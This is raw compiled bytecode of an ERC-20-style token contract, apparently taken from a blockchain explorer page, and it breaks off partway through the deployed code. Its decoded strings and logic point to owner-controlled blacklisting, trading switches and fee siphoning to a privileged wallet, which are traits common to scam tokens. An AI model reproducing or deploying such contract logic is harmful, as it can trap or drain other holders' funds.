7955d1461099e578063b29c0a7a146109b4578063b3621cfb146109c9578063be3601f8146109e957600080fd5b80638da5cb5b11610185578063a842486111610154578063a842486114610929578063a9059cbb14610949578063a925a6bd14610969578063a96e8b521461097f57600080fd5b80638da5cb5b146108c057806395d89b41146108de578063966dae0e146108f357806399fba6031461091357600080fd5b806385dc3004116101c157806385dc3004146108455780638718b24f1461086557806388e765ff1461088a5780638c2fc7ad146108a057600080fd5b8063715018a6146107db5780637aeb491b146107f05780637e526473146108105780637f4949b51461082557600080fd5b806331e7b1a6116102e25780634fab9e4c1161027557806366d602ae1161024457806366d602ae1461075557806368092bd91461076b57806369768b501461078b57806370a08231146107a557600080fd5b80634fab9e4c146106d0578063595dec3c146106e5578063632e5442146107155780636659606f1461073557600080fd5b80633c8463a1116102b15780633c8463a11461064a57806340aa81fe146106605780634188bf5a146106905780634bf7fde1146106b057600080fd5b806331e7b1a6146105c45780633a9720c6146105e45780633bfe62ca146106045780633c11100d1461061a57600080fd5b806318160ddd1161035a578063297782071161032957806329778207146105575780632dab693f1461057757806330509bca1461058d578063313ce567146105a257600080fd5b806318160ddd146104ca578063206c17bb146104df57806323b872dd1461051757806324163a1e1461053757600080fd5b806306fdde031161039657806306fdde0314610444578063095ea7b3146104665780630a6079301461048657806314a432c9146104aa57600080fd5b806301986fad146103c857806305833c2b1461040d57806305b6f1ca1461042f57600080fd5b366103c357005b600080fd5b3480156103d457600080fd5b506103f86103e336600461281b565b600d6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561041957600080fd5b5061042d61042836600461284d565b610b90565b005b34801561043b57600080fd5b5061042d610c02565b34801561045057600080fd5b50610459610c33565b6040516104049190612886565b34801561047257600080fd5b506103f86104813660046128d4565b610cc5565b34801561049257600080fd5b5061049c60185481565b604051908152602001610404565b3480156104b657600080fd5b5061042d6104c5366004612900565b610cdc565b3480156104d657600080fd5b5060105461049c565b3480156104eb57600080fd5b506011546104ff906001600160a01b031681565b6040516001600160a01b039091168152602001610404565b34801561052357600080fd5b506103f8610532366004612919565b610d0b565b34801561054357600080fd5b5061042d610552366004612900565b610da2565b34801561056357600080fd5b5061042d61057236600461295a565b610dd1565b34801561058357600080fd5b5061049c60085481565b34801561059957600080fd5b5061042d610e0e565b3480156105ae57600080fd5b5060075460405160ff9091168152602001610404565b3480156105d057600080fd5b5061042d6105df36600461281b565b610e4a565b3480156105f057600080fd5b5061042d6105ff3660046129c3565b610edc565b34801561061057600080fd5b5061049c60195481565b34801561062657600080fd5b506103f861063536600461281b565b60146020526000908152604090205460ff1681565b34801561065657600080fd5b5061049c600b5481565b34801561066c57600080fd5b506103f861067b36600461281b565b600f6020526000908152604090205460ff1681565b34801561069c57600080fd5b50601c546104ff906001600160a01b031681565b3480156106bc57600080fd5b5061042d6106cb366004612a1a565b610f88565b3480156106dc57600080fd5b5061042d610fc0565b3480156106f157600080fd5b506103f861070036600461281b565b600e6020526000908152604090205460ff1681565b34801561072157600080fd5b5061042d610730366004612a46565b6110bb565b34801561074157600080fd5b5061042d610750366004612900565b611174565b34801561076157600080fd5b5061049c60095481565b34801561077757600080fd5b5061042d61078636600461284d565b6111a3565b34801561079757600080fd5b50600c546103f89060ff1681565b3480156107b157600080fd5b5061049c6107c036600461281b565b6001600160a01b031660009081526001602052604090205490565b3480156107e757600080fd5b5061042d6111f8565b3480156107fc57600080fd5b5061042d61080b3660046129c3565b61126c565b34801561081c57600080fd5b5061042d611312565b34801561083157600080fd5b5061042d610840366004612900565b61137c565b34801561085157600080fd5b5061042d61086036600461281b565b6113ab565b34801561087157600080fd5b506015546104ff9061010090046001600160a01b031681565b34801561089657600080fd5b5061049c600a5481565b3480156108ac57600080fd5b5061042d6108bb36600461284d565b611424565b3480156108cc57600080fd5b506000546001600160a01b03166104ff565b3480156108ea57600080fd5b50610459611479565b3480156108ff57600080fd5b506004546104ff906001600160a01b031681565b34801561091f57600080fd5b5061049c601b5481565b34801561093557600080fd5b5061042d61094436600461284d565b611488565b34801561095557600080fd5b506103f86109643660046128d4565b6114f2565b34801561097557600080fd5b5061049c60175481565b34801561098b57600080fd5b50600c546103f890610100900460ff1681565b3480156109aa57600080fd5b5061049c601a5481565b3480156109c057600080fd5b5061042d6114ff565b3480156109d557600080fd5b5061042d6109e4366004612900565b611530565b3480156109f557600080fd5b506013546104ff906001600160a01b031681565b348015610a1557600080fd5b5061042d610a24366004612a92565b61155f565b348015610a3557600080fd5b5061042d610a44366004612900565b611611565b348015610a5557600080fd5b5061042d610a64366004612900565b611655565b348015610a7557600080fd5b506012546104ff906001600160a01b031681565b348015610a9557600080fd5b5061042d611684565b348015610aaa57600080fd5b5061042d610ab936600461295a565b6116f3565b348015610aca57600080fd5b5061049c60165481565b348015610ae057600080fd5b5061042d610aef36600461284d565b611737565b348015610b0057600080fd5b5061049c610b0f366004612ac9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b348015610b4657600080fd5b5061049c601d5481565b348015610b5c57600080fd5b506003546104ff906001600160a01b031681565b348015610b7c57600080fd5b5061042d610b8b36600461281b565b6117a1565b6003546001600160a01b0316331480610bb357506000546001600160a01b031633145b610bd85760405162461bcd60e51b8152600401610bcf90612af7565b60405180910390fd5b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610c2c5760405162461bcd60e51b8152600401610bcf90612b18565b6000601b55565b606060058054610c4290612b38565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6e90612b38565b8015610cbb5780601f10610c9057610100808354040283529160200191610cbb565b820191906000526020600020905b815481529060010190602001808311610c9e57829003601f168201915b5050505050905090565b6000610cd2338484611867565b5060015b92915050565b6000546001600160a01b03163314610d065760405162461bcd60e51b8152600401610bcf90612b18565b600855565b6000610d188484846118c9565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610d98576001600160a01b0384166000908152600260209081526040808320338452909152902054610d73908390612b88565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b03163314610dcc5760405162461bcd60e51b8152600401610bcf90612b18565b601655565b6000546001600160a01b03163314610dfb5760405162461bcd60e51b8152600401610bcf90612b18565b600c805460ff1916911515919091179055565b6003546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610e47573d6000803e3d6000fd5b50565b6003546001600160a01b0316331480610e6d57506000546001600160a01b031633145b610e895760405162461bcd60e51b8152600401610bcf90612af7565b601c80546001600160a01b039092166001600160a01b0319909216821790556000908152601460209081526040808320805460ff199081166001908117909255600f909352922080549091169091179055565b6000546001600160a01b03163314610f065760405162461bcd60e51b8152600401610bcf90612b18565b60c98210610f1357600080fd5b60005b82811015610f825781600d6000868685818110610f3557610f35612b9b565b9050602002016020810190610f4a919061281b565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610f7b81612bb1565b9050610f16565b50505050565b6000546001600160a01b03163314610fb25760405162461bcd60e51b8152600401610bcf90612b18565b600a92909255600955600b55565b6000546001600160a01b03163314610fea5760405162461bcd60e51b8152600401610bcf90612b18565b6012546013546040516364e329cb60e11b81523060048201526001600160a01b039182166024820152600092919091169063c9c65396906044016020604051808303816000875af1158015611043573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110679190612bca565b601c80546001600160a01b039092166001600160a01b0319909216821790556000908152601460209081526040808320805460ff199081166001908117909255600f90935292208054909116909117905550565b6000546001600160a01b031633146110e55760405162461bcd60e51b8152600401610bcf90612b18565b6107d182106110f357600080fd5b60006110ff8383612be7565b3360009081526001602052604090205490915081111561111e57600080fd5b60005b8381101561116d5761115a3386868481811061113f5761113f612b9b565b9050602002016020810190611154919061281b565b85611c85565b508061116581612bb1565b915050611121565b5050505050565b6000546001600160a01b0316331461119e5760405162461bcd60e51b8152600401610bcf90612b18565b601855565b6000546001600160a01b031633146111cd5760405162461bcd60e51b8152600401610bcf90612b18565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112225760405162461bcd60e51b8152600401610bcf90612b18565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146112965760405162461bcd60e51b8152600401610bcf90612b18565b60c982106112a357600080fd5b60005b82811015610f825781600e60008686858181106112c5576112c5612b9b565b90506020020160208101906112da919061281b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561130b81612bb1565b90506112a6565b6000546001600160a01b0316331461133c5760405162461bcd60e51b8152600401610bcf90612b18565b601b54156113765760405162461bcd60e51b815260206004820152600760248201526674726164696e6760c81b6044820152606401610bcf565b43601b55565b6000546001600160a01b031633146113a65760405162461bcd60e51b8152600401610bcf90612b18565b601955565b6003546001600160a01b03163314806113ce57506000546001600160a01b031633145b6113ea5760405162461bcd60e51b8152600401610bcf90612af7565b600380546001600160a01b039092166001600160a01b0319909216821790556000908152600d60205260409020805460ff19166001179055565b6000546001600160a01b0316331461144e5760405162461bcd60e51b8152600401610bcf90612b18565b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b606060068054610c4290612b38565b6003546001600160a01b03163314806114ab57506000546001600160a01b031633145b6114c75760405162461bcd60e51b8152600401610bcf90612af7565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b6000610cd23384846118c9565b6000546001600160a01b031633146115295760405162461bcd60e51b8152600401610bcf90612b18565b6000601d55565b6000546001600160a01b0316331461155a5760405162461bcd60e51b8152600401610bcf90612b18565b601a55565b6003546001600160a01b031633148061158257506000546001600160a01b031633145b61159e5760405162461bcd60e51b8152600401610bcf90612af7565b60405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303816000875af11580156115ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f829190612bfe565b6003546001600160a01b031633148061163457506000546001600160a01b031633145b6116505760405162461bcd60e51b8152600401610bcf90612af7565b602255565b6000546001600160a01b0316331461167f5760405162461bcd60e51b8152600401610bcf90612b18565b601755565b6000546001600160a01b031633146116ae5760405162461bcd60e51b8152600401610bcf90612b18565b601d54156116ed5760405162461bcd60e51b815260206004820152600c60248201526b0737461727465644164644c560a41b6044820152606401610bcf565b43601d55565b6000546001600160a01b0316331461171d5760405162461bcd60e51b8152600401610bcf90612b18565b600c80549115156101000261ff0019909216919091179055565b6003546001600160a01b031633148061175a57506000546001600160a01b031633145b6117765760405162461bcd60e51b8152600401610bcf90612af7565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146117cb5760405162461bcd60e51b8152600401610bcf90612b18565b6001600160a01b03811661180c5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610bcf565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166000908152600e602052604090205460ff161561191e5760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b6044820152606401610bcf565b6001600160a01b0383166000908152600160205260409020548181101561197a5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610bcf565b6001600160a01b0384166000908152600d6020526040812054819060ff161580156119be57506001600160a01b0385166000908152600d602052604090205460ff16155b15611a37576000805b60028113611a255760408051602081018390529081018790524260608201526080016040516020818303038152906040528051906020012060001c9150611a128883620f4240611c85565b5080611a1d81612c1b565b9150506119c7565b50611a33622dc6c086612b88565b9450505b6001600160a01b03861660009081526014602052604090205460ff1680611a7657506001600160a01b03851660009081526014602052604090205460ff165b15611c4d576001600160a01b0386166000908152600d602052604090205460ff16158015611abd57506001600160a01b0385166000908152600d602052604090205460ff16155b15611c2857600c54610100900460ff1615611b6757601b54600003611b3d57601d546000108015611b0657506001600160a01b03851660009081526014602052604090205460ff165b611b3d5760405162461bcd60e51b8152602060048201526008602482015267021676f4164644c560c41b6044820152606401610bcf565b600854601b54611b4d9190612c33565b431015611b6757611b5f868686611d3a565b505050505050565b6001600160a01b03851660009081526014602052604090205460ff1615611c235760155460ff16611c2357306000908152600160205260409020548015611c21576000601a54601854601954601754601654611bc39190612c33565b611bcd9190612c33565b611bd79190612c33565b611be19190612c33565b90506000612710611bf28389612be7565b611bfd906002612be7565b611c079190612c46565b905082811115611c145750815b611c1e8183611dc0565b50505b505b600191505b6001600160a01b03851660009081526014602052604090205460ff1615611c4d575060015b611c5a86868685856121c7565b6001600160a01b0386163014611b5f578015611c7957611c79866123d4565b611b5f620f42406124a5565b6001600160a01b038316600090815260016020526040812080548391908390611caf908490612b88565b90915550506001600160a01b03831660009081526001602052604081208054849290611cdc908490612c33565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2891815260200190565b60405180910390a35060019392505050565b6001600160a01b038316600090815260016020526040902054611d5e908290612b88565b6001600160a01b0384166000908152600160205260408120919091556064611d8783605a612be7565b611d919190612c46565b600354909150611dac9085906001600160a01b03168361278e565b610f828484611dbb8486612b88565b61278e565b6015805460ff19166001179055611dd78180612c33565b601a54909150600082611dea8386612be7565b611df49190612c46565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611e2e57611e2e612b9b565b6001600160a01b039283166020918202929092010152601354825191169082906001908110611e5f57611e5f612b9b565b6001600160a01b0392831660209182029290920101526011541663ac3893ba611e888488612b88565b60155460035460405160e085901b6001600160e01b0319168152611ecb939260009288926101009092046001600160a01b03908116929116904290600401612c68565b600060405180830381600087803b158015611ee557600080fd5b505af1158015611ef9573d6000803e3d6000fd5b505050508284611f099190612b88565b6013546015546040516370a0823160e01b81526001600160a01b0361010090920482166004820152929650169060009082906370a0823190602401602060405180830381865afa158015611f61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f859190612ce1565b9050600086601954601654611f9a9190612c33565b611fa49084612be7565b611faf906002612be7565b611fb99190612c46565b6015546003546040516323b872dd60e01b81526001600160a01b03610100909304831660048201529082166024820152604481018390529192508416906323b872dd906064016020604051808303816000875af115801561201e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120429190612bfe565b506015546001600160a01b03808516916323b872dd91610100909104163061206a8587612b88565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156120be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120e29190612bfe565b5084156121b3576000876120f68885612be7565b6121009190612c46565b905080156121b15760115460135460035460405162e8e33760e81b81523060048201526001600160a01b039283166024820152604481018a90526064810185905260006084820181905260a482015290821660c48201524260e482015291169063e8e3370090610104016060604051808303816000875af1158015612189573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121ad9190612cfa565b5050505b505b50506015805460ff19169055505050505050565b6001600160a01b0385166000908152600160205260409020546121eb908490612b88565b6001600160a01b0386166000908152600160205260408120919091558215612317576000821561228257601a546018546019546122289190612c33565b6122329190612c33565b905060095485111561227d5760405162461bcd60e51b81526020600482015260146024820152731bdd995c881b585e081cd95b1b08185b5bdd5b9d60621b6044820152606401610bcf565b6122dc565b6017546016546122929190612c33565b9050600a548511156122dc5760405162461bcd60e51b81526020600482015260136024820152721bdd995c881b585e08189d5e48185b5bdd5b9d606a1b6044820152606401610bcf565b60006127106122eb8388612be7565b6122f59190612c46565b90508015612314576123078184612c33565b925061231488308361278e565b50505b6001600160a01b0385166000908152600f602052604090205460ff161580156123425750600c5460ff165b156123c557600b54818561236b886001600160a01b031660009081526001602052604090205490565b6123759190612c33565b61237f9190612b88565b11156123c55760405162461bcd60e51b81526020600482015260156024820152741bdd995c881b585e081dd85b1b195d081b1a5b5a5d605a1b6044820152606401610bcf565b611b5f8686611dbb8488612b88565b803b80156123e0575050565b6001600160a01b0382166000908152601f602052604081205490036124a157601e54158061243f5750816001600160a01b0316601e60008154811061242757612427612b9b565b6000918252602090912001546001600160a01b031614155b156124a157601e80546001600160a01b0384166000818152601f60205260408120839055600183018455929092527f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3500180546001600160a01b03191690911790555b5050565b4360235460146124b59190612c33565b11156124be5750565b6013546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa15801561250b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061252f9190612ce1565b905060225481101561254057505050565b601c54604080516318160ddd60e01b815290516001600160a01b039092169160009183916318160ddd916004808201926020929091908290030181865afa15801561258f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125b39190612ce1565b601e54909150600090819081908180805a90505b8b831080156125d557508382105b1561277c5783602154106125e95760006021555b601e602154815481106125fe576125fe612b9b565b6000918252602090912001546040516370a0823160e01b81526001600160a01b03918216600482018190529850908a16906370a0823190602401602060405180830381865afa158015612655573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126799190612ce1565b95506000861180156126a357506001600160a01b038716600090815260208052604090205460ff16155b1561273a57876126b3878c612be7565b6126bd9190612c46565b9450841561273a5760405163a9059cbb60e01b81526001600160a01b038881166004830152602482018790528c169063a9059cbb906044016020604051808303816000875af1158015612714573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127389190612bfe565b505b5a6127459082612b88565b61274f9084612c33565b92505a60218054919250600061276483612bb1565b9190505550818061277490612bb1565b9250506125c7565b50504360235550505050505050505050565b6001600160a01b0382166000908152600160205260409020546127b2908290612c33565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118bc9085815260200190565b6001600160a01b0381168114610e4757600080fd5b60006020828403121561282d57600080fd5b813561283881612806565b9392505050565b8015158114610e4757600080fd5b6000806040838503121561286057600080fd5b823561286b81612806565b9150602083013561287b8161283f565b809150509250929050565b600060208083528351808285015260005b818110156128b357858101830151858201604001528201612897565b506000604082860101526040601f19601f8301168501019250505092915050565b600080604083850312156128e757600080fd5b82356128f281612806565b946020939093013593505050565b60006020828403121561291257600080fd5b5035919050565b60008060006060848603121561292e57600080fd5b833561293981612806565b9250602084013561294981612806565b929592945050506040919091013590565b60006020828403121561296c57600080fd5b81356128388161283f565b60008083601f84011261298957600080fd5b50813567ffffffffffffffff8111156129a157600080fd5b6020830191508360208260051b85010111156129bc57600080fd5b9250929050565b6000806000604084860312156129d857600080fd5b833567ffffffffffffffff8111156129ef57600080fd5b6129fb86828701612977565b9094509250506020840135612a0f8161283f565b809150509250925092565b600080600060608486031215612a2f57600080fd5b505081359360208301359350604090920135919050565b600080600060408486031215612a5b57600080fd5b833567ffffffffffffffff811115612a7257600080fd5b612a7e86828701612977565b909790965060209590950135949350505050565b600080600060608486031215612aa757600080fd5b8335612ab281612806565b9250602084013591506040840135612a0f81612806565b60008060408385031215612adc57600080fd5b8235612ae781612806565b9150602083013561287b81612806565b60208082526007908201526610a33ab73232b960c91b604082015260600190565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b600181811c90821680612b4c57607f821691505b602082108103612b6c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b81810381811115610cd657610cd6612b72565b634e487b7160e01b600052603260045260246000fd5b600060018201612bc357612bc3612b72565b5060010190565b600060208284031215612bdc57600080fd5b815161283881612806565b8082028115828204841417610cd657610cd6612b72565b600060208284031215612c1057600080fd5b81516128388161283f565b60006001600160ff1b018201612bc357612bc3612b72565b80820180821115610cd657610cd6612b72565b600082612c6357634e487b7160e01b600052601260045260246000fd5b500490565b600060c082018883526020888185015260c0604085015281885180845260e086019150828a01935060005b81811015612cb85784516001600160a01b031683529383019391830191600101612c93565b50506001600160a01b039788166060860152959096166080840152505060a00152949350505050565b600060208284031215612cf357600080fd5b5051919050565b600080600060608486031215612d0f57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220a617382658cb527d11fdab330d042c496155e2336c25121c4c145516522e420d64736f6c63430008130033608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea26469706673582212209aa8d873576e85f34133f38b4f621156b1a31c04f30a822fd7a663eab5cf980564736f6c63430008130033
Deployed Bytecode
0x6080604052600436106103bc5760003560e01c8063715018a6116101f2578063adc7955d1161010d578063c54c67d8116100a0578063dd62ed3e1161006f578063dd62ed3e14610af4578063dd694a5014610b3a578063e82bef2914610b50578063f2fde38b14610b7057600080fd5b8063c54c67d814610a89578063cd80a8cc14610a9e578063ce0192f914610abe578063d83d414314610ad457600080fd5b8063bfac5ee0116100dc578063bfac5ee014610a09578063c213d62d14610a29578063c35660e414610a49578063c52362e914610a6957600080fd5b8063adc7955d1461099e578063b29c0a7a146109b4578063b3621cfb146109c9578063be3601f8146109e957600080fd5b80638da5cb5b11610185578063a842486111610154578063a842486114610929578063a9059cbb14610949578063a925a6bd14610969578063a96e8b521461097f57600080fd5b80638da5cb5b146108c057806395d89b41146108de578063966dae0e146108f357806399fba6031461091357600080fd5b806385dc3004116101c157806385dc3004146108455780638718b24f1461086557806388e765ff1461088a5780638c2fc7ad146108a057600080fd5b8063715018a6146107db5780637aeb491b146107f05780637e526473146108105780637f4949b51461082557600080fd5b806331e7b1a6116102e25780634fab9e4c1161027557806366d602ae1161024457806366d602ae1461075557806368092bd91461076b57806369768b501461078b57806370a08231146107a557600080fd5b80634fab9e4c146106d0578063595dec3c146106e5578063632e5442146107155780636659606f1461073557600080fd5b80633c8463a1116102b15780633c8463a11461064a57806340aa81fe146106605780634188bf5a146106905780634bf7fde1146106b057600080fd5b806331e7b1a6146105c45780633a9720c6146105e45780633bfe62ca146106045780633c11100d1461061a57600080fd5b806318160ddd1161035a578063297782071161032957806329778207146105575780632dab693f1461057757806330509bca1461058d578063313ce567146105a257600080fd5b806318160ddd146104ca578063206c17bb146104df57806323b872dd1461051757806324163a1e1461053757600080fd5b806306fdde031161039657806306fdde0314610444578063095ea7b3146104665780630a6079301461048657806314a432c9146104aa57600080fd5b806301986fad146103c857806305833c2b1461040d57806305b6f1ca1461042f57600080fd5b366103c357005b600080fd5b3480156103d457600080fd5b506103f86103e336600461281b565b600d6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561041957600080fd5b5061042d61042836600461284d565b610b90565b005b34801561043b57600080fd5b5061042d610c02565b34801561045057600080fd5b50610459610c33565b6040516104049190612886565b34801561047257600080fd5b506103f86104813660046128d4565b610cc5565b34801561049257600080fd5b5061049c60185481565b604051908152602001610404565b3480156104b657600080fd5b5061042d6104c5366004612900565b610cdc565b3480156104d657600080fd5b5060105461049c565b3480156104eb57600080fd5b506011546104ff906001600160a01b031681565b6040516001600160a01b039091168152602001610404565b34801561052357600080fd5b506103f8610532366004612919565b610d0b565b34801561054357600080fd5b5061042d610552366004612900565b610da2565b34801561056357600080fd5b5061042d61057236600461295a565b610dd1565b34801561058357600080fd5b5061049c60085481565b34801561059957600080fd5b5061042d610e0e565b3480156105ae57600080fd5b5060075460405160ff9091168152602001610404565b3480156105d057600080fd5b5061042d6105df36600461281b565b610e4a565b3480156105f057600080fd5b5061042d6105ff3660046129c3565b610edc565b34801561061057600080fd5b5061049c60195481565b34801561062657600080fd5b506103f861063536600461281b565b60146020526000908152604090205460ff1681565b34801561065657600080fd5b5061049c600b5481565b34801561066c57600080fd5b506103f861067b36600461281b565b600f6020526000908152604090205460ff1681565b34801561069c57600080fd5b50601c546104ff906001600160a01b031681565b3480156106bc57600080fd5b5061042d6106cb366004612a1a565b610f88565b3480156106dc57600080fd5b5061042d610fc0565b3480156106f157600080fd5b506103f861070036600461281b565b600e6020526000908152604090205460ff1681565b34801561072157600080fd5b5061042d610730366004612a46565b6110bb565b34801561074157600080fd5b5061042d610750366004612900565b611174565b34801561076157600080fd5b5061049c60095481565b34801561077757600080fd5b5061042d61078636600461284d565b6111a3565b34801561079757600080fd5b50600c546103f89060ff1681565b3480156107b157600080fd5b5061049c6107c036600461281b565b6001600160a01b031660009081526001602052604090205490565b3480156107e757600080fd5b5061042d6111f8565b3480156107fc57600080fd5b5061042d61080b3660046129c3565b61126c565b34801561081c57600080fd5b5061042d611312565b34801561083157600080fd5b5061042d610840366004612900565b61137c565b34801561085157600080fd5b5061042d61086036600461281b565b6113ab565b34801561087157600080fd5b506015546104ff9061010090046001600160a01b031681565b34801561089657600080fd5b5061049c600a5481565b3480156108ac57600080fd5b5061042d6108bb36600461284d565b611424565b3480156108cc57600080fd5b506000546001600160a01b03166104ff565b3480156108ea57600080fd5b50610459611479565b3480156108ff57600080fd5b506004546104ff906001600160a01b031681565b34801561091f57600080fd5b5061049c601b5481565b34801561093557600080fd5b5061042d61094436600461284d565b611488565b34801561095557600080fd5b506103f86109643660046128d4565b6114f2565b34801561097557600080fd5b5061049c60175481565b34801561098b57600080fd5b50600c546103f890610100900460ff1681565b3480156109aa57600080fd5b5061049c601a5481565b3480156109c057600080fd5b5061042d6114ff565b3480156109d557600080fd5b5061042d6109e4366004612900565b611530565b3480156109f557600080fd5b506013546104ff906001600160a01b031681565b348015610a1557600080fd5b5061042d610a24366004612a92565b61155f565b348015610a3557600080fd5b5061042d610a44366004612900565b611611565b348015610a5557600080fd5b5061042d610a64366004612900565b611655565b348015610a7557600080fd5b506012546104ff906001600160a01b031681565b348015610a9557600080fd5b5061042d611684565b348015610aaa57600080fd5b5061042d610ab936600461295a565b6116f3565b348015610aca57600080fd5b5061049c60165481565b348015610ae057600080fd5b5061042d610aef36600461284d565b611737565b348015610b0057600080fd5b5061049c610b0f366004612ac9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b348015610b4657600080fd5b5061049c601d5481565b348015610b5c57600080fd5b506003546104ff906001600160a01b031681565b348015610b7c57600080fd5b5061042d610b8b36600461281b565b6117a1565b6003546001600160a01b0316331480610bb357506000546001600160a01b031633145b610bd85760405162461bcd60e51b8152600401610bcf90612af7565b60405180910390fd5b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610c2c5760405162461bcd60e51b8152600401610bcf90612b18565b6000601b55565b606060058054610c4290612b38565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6e90612b38565b8015610cbb5780601f10610c9057610100808354040283529160200191610cbb565b820191906000526020600020905b815481529060010190602001808311610c9e57829003601f168201915b5050505050905090565b6000610cd2338484611867565b5060015b92915050565b6000546001600160a01b03163314610d065760405162461bcd60e51b8152600401610bcf90612b18565b600855565b6000610d188484846118c9565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610d98576001600160a01b0384166000908152600260209081526040808320338452909152902054610d73908390612b88565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b03163314610dcc5760405162461bcd60e51b8152600401610bcf90612b18565b601655565b6000546001600160a01b03163314610dfb5760405162461bcd60e51b8152600401610bcf90612b18565b600c805460ff1916911515919091179055565b6003546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610e47573d6000803e3d6000fd5b50565b6003546001600160a01b0316331480610e6d57506000546001600160a01b031633145b610e895760405162461bcd60e51b8152600401610bcf90612af7565b601c80546001600160a01b039092166001600160a01b0319909216821790556000908152601460209081526040808320805460ff199081166001908117909255600f909352922080549091169091179055565b6000546001600160a01b03163314610f065760405162461bcd60e51b8152600401610bcf90612b18565b60c98210610f1357600080fd5b60005b82811015610f825781600d6000868685818110610f3557610f35612b9b565b9050602002016020810190610f4a919061281b565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610f7b81612bb1565b9050610f16565b50505050565b6000546001600160a01b03163314610fb25760405162461bcd60e51b8152600401610bcf90612b18565b600a92909255600955600b55565b6000546001600160a01b03163314610fea5760405162461bcd60e51b8152600401610bcf90612b18565b6012546013546040516364e329cb60e11b81523060048201526001600160a01b039182166024820152600092919091169063c9c65396906044016020604051808303816000875af1158015611043573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110679190612bca565b601c80546001600160a01b039092166001600160a01b0319909216821790556000908152601460209081526040808320805460ff199081166001908117909255600f90935292208054909116909117905550565b6000546001600160a01b031633146110e55760405162461bcd60e51b8152600401610bcf90612b18565b6107d182106110f357600080fd5b60006110ff8383612be7565b3360009081526001602052604090205490915081111561111e57600080fd5b60005b8381101561116d5761115a3386868481811061113f5761113f612b9b565b9050602002016020810190611154919061281b565b85611c85565b508061116581612bb1565b915050611121565b5050505050565b6000546001600160a01b0316331461119e5760405162461bcd60e51b8152600401610bcf90612b18565b601855565b6000546001600160a01b031633146111cd5760405162461bcd60e51b8152600401610bcf90612b18565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112225760405162461bcd60e51b8152600401610bcf90612b18565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146112965760405162461bcd60e51b8152600401610bcf90612b18565b60c982106112a357600080fd5b60005b82811015610f825781600e60008686858181106112c5576112c5612b9b565b90506020020160208101906112da9190